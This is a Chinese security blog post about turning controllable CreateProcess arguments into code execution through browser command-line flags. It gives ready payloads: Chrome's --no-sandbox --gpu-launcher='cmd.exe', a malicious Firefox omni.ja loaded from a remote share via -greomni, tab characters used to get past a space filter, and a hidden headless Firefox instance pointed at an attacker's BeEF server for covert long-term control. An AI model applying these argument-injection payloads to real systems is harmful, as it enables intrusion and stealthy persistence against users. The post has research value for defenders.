前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >论如何利用可控参数拼接完成RCE

论如何利用可控参数拼接完成RCE

作者头像
用户7151998
发布2023-07-24 19:14:41
2800
发布2023-07-24 19:14:41
举报
文章被收录于专栏:赛博回忆录赛博回忆录

0x00 前置背景

最近有个案例觉得挺有意思,可以分享一下。我们知道Windows里启动一个进程可以使用createprocess函数(https://docs.microsoft.com/en-us/previous-versions/aa908775(v=msdn.10)),大体上的使用可以看空白写的

图里面的szCommandline变量就是一个字符串,里面是我们要执行的一个进程和对应的参数。 很容易理解这个使用方式,这里补充一点就是createprocess并不是cmd,不能用cmd里的命令方式来分割执行别的程序比如calc && notepad其中的notepad并没有正常运行。 那么当我们在某个程序里找到其传入createprocess函数时第二个变量可控,那么我们就可能可以执行命令。

1. szCommandline完全可控,不用说,自然可以直接执行cmd.exe /c xxxx

2. 部分可控,一般是形如:"browser.exe userstr"其中userstr可控,那么就意味着我们可以控制参数,通过传入任意参数从而达到可能的rce。

完全可控就不多说了,这里我们简单谈一下参数可控的情况。一般来说参数可控,我们需要去查找对应程序的各种参数看看能不能达到包含外部执行的可能。比如:

代码语言:javascript
复制
chrome.exe urlstr

其中urlstr可控,原意是使用chrome.exe打开用户传递的链接。这时候我们传入https://www.baidu.com --gpu-launcher="cmd.exe"拼接到一起后便是

代码语言:javascript
复制
chrome.exe https://www.baidu.com --gpu-launcher="cmd.exe"

在老版本的Chrome里是可以执行cmd.exe的

0x01 Chrome系列浏览器

有了前面的认知,我们逐渐切合到场景中,假设这个注入的地方限制了只能使用浏览器。那么我们就先来看看几个常见的浏览器如何进行rce

chrome

前面已经举过例子了,这里简单的说一下

代码语言:javascript
复制
chrome.exe https://www.baidu.com --no-sandbox --gpu-launcher="cmd.exe"

在新版本Chrome里必须要加no-sandbox,因为不加的话由于有sandbox的作用所以会导致cmd不执行。

QQ浏览器

QQ浏览器用的Chrome内核,所以直接用Chrome的参数即可,但是发现其内核版本过低,所以只需要一个参数即可。

代码语言:javascript
复制
chrome.exe https://www.baidu.com --gpu-launcher="cmd.exe"

360浏览器

同样的Chrome内核,所以用的同一个参数,不过开了sandbox所以要加sandbox

代码语言:javascript
复制
chrome.exe https://www.baidu.com --no-sandbox --gpu-launcher="cmd.exe"

其他

类似的,很多都是Chrome内核,无非就是开不开sandbox的思路

0x02 火狐浏览器-命令执行

我找了很久,基本上没有太好的方式,目前看下来就只有两个历史漏洞可以做到

https://bugzilla.mozilla.org/show_bug.cgi?id=1530103 https://bugzilla.mozilla.org/show_bug.cgi?id=1606596

RCE is achieved by introducing malicious code into the contents of files in the omni.ja archives. We have had limited success launching arbitrary executables by injecting the following code into .js and .jws files (for example C:\Program Files (x86)\Mozilla Firefox\browser\omni.ja’s /chrome/browser/content/browser/browser.js file). 上面两个历史漏洞是类似的,和我们目前这个结合,就可以造成rce。 大致流程是通过构造恶意的omni.ja,在其中的/chrome/browser/content/browser/browser.js插入以下的js代码

代码语言:javascript
复制
Components.utils.import("resource://gre/modules/Subprocess.jsm");
let opt = { command: "C:\\windows\\system32\\calc.exe", arguments: [], workdir: "C:\\windows\\system32", stderr: "pipe"};
let x = Subprocess.call(opt);

然后通过控制firefox插入下面参数

代码语言:javascript
复制
-greomni "\\remoteHost\omni.ja" -appomni "\\remoteHost\omni2.ja

最终造成rce,大致的影响版本在firefox74以下,大概是一年前的版本。

0x03 火狐浏览器-过滤空格

这是我今天重点要讲的,这里我们限制一下条件:

1. 限制createprocess的传入启动程序为firefox.exe

2. 可控制的urlstr中过滤了空格

当我们可控制的过滤了空格,参数拼接就会变得异常困难,正常情况可以认为是不能再插入自定义参数了。因为我们前面插入额外参数全部依赖于空格作为分割符。这里过滤了空格后怎么办呢? 多亏了火狐,我们有了个新的分割符:制表符(\t) 我通过手工fuzz,尝试了很多的字符,包括对其他浏览器的尝试,最终发现只有火狐在面对制表符的时候表现出矫正的feature! 我们尝试这样传入:

代码语言:javascript
复制
firefox.exe https://www.baidu.com\t-new-window

如果成功分割就会弹出两个火狐浏览器,一个是百度,一个是新打开的,我们跟踪火绒剑

这个图里第一个和第二个分别是原进程和firefox进程,可以看到划线的地方都没有空格,看起来并没有分割。但比较有意思的是火狐好像不止开了一个进程:

在随后的进程里出现了一个把参数分割开的进程并运行。实际上我确实也在桌面上看到了两个火狐浏览器。 火狐这个行为给了我一个新的希望!各位可以举一反三,去fuzz其他程序,可控是不是也有类似的矫正行为,这将可能使你在本来无解的地方找到新的漏洞。

0x04 火狐-滥用参数

考虑到我暂时没有找到火狐参数的rce,那么在已经有的参数下我们能做到什么程度呢? 我首先想到的是headless,如果能以headless打开并且长期运行在后台,那会是一个不错的事情,因为可以直接让他访问我们自己的beef页面长期控制浏览器而不被前台发现。

代码语言:javascript
复制
firefox.exe https://www.baidu.com\t-new-window\thttps://beef\t-headless

当我这样做的时候我发现存在一个问题,如果后台运行了一个headless火狐后会直接导致前台无法新开一个新的火狐,会出现这样的情况

这是先开headless在桌面打开火狐出现的弹窗

这是已经桌面开了火狐后再开一个headless的火狐后的弹窗 那么如何避免这个问题出现呢? 这里我通过使用new-instance的方式来解决这个问题。 new-instance的参数使用时还得配合-P来指定一个额外的配置文件。 换句话说我们得指定与桌面环境不同的配置文件来生成这个headless实例才能避免和桌面环境的火狐冲突。

 比较幸运的是火狐浏览器默认好像就有两个配置文件,桌面环境似乎用的第一个,那么我们在无头浏览器的时候使用default就行了。最终得到的命令行是:

代码语言:javascript
复制
firefox.exe https://www.baidu.com\t-new-window\thttps://beef\t-headless\t-new-instance\t-P\tdefault

这样做我们就能启动一个运行在后台并且访问我们的beef的headless状态的火狐浏览器,这个进程会长期挂在后台,前台新开火狐等操作是感知不到的。 后续还有什么用,就看自己的想法了。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-05-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 赛博回忆录 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 前置背景
  • 0x01 Chrome系列浏览器
    • chrome
      • QQ浏览器
        • 360浏览器
          • 其他
          • 0x02 火狐浏览器-命令执行
          • 0x03 火狐浏览器-过滤空格
          • 0x04 火狐-滥用参数
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档